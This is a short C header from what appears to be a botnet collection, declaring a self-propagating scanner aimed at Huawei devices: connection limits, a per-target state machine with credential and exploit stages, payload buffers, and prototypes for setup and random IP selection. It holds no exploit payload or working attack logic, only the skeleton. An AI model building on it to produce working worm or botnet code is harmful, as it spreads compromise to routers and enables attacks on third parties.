Path: blob/master/Botnets/Self Reps/HuaWei/huawei.h
5038 views
#pragma once12#include <stdint.h>34#include "includes.h"56#define HUAWEI_SCANNER_MAX_CONNS 1287#define HUAWEI_SCANNER_RAW_PPS 25689#define HUAWEI_SCANNER_RDBUF_SIZE 25610#define HUAWEI_SCANNER_HACK_DRAIN 641112struct huawei_scanner_connection13{14int fd, last_recv;15enum16{17HUAWEI_SC_CLOSED,18HUAWEI_SC_CONNECTING,19HUAWEI_SC_GET_CREDENTIALS,20HUAWEI_SC_EXPLOIT_STAGE2,21HUAWEI_SC_EXPLOIT_STAGE3,22} state;23ipv4_t dst_addr;24uint16_t dst_port;25int rdbuf_pos;26char rdbuf[HUAWEI_SCANNER_RDBUF_SIZE];27char **credentials;28char payload_buf[2560], payload_buf2[2560];29int credential_index;30};3132void huawei_init();33void huawei_kill(void);3435static void huawei_setup_connection(struct huawei_scanner_connection *);36static ipv4_t get_random_ip(void);37383940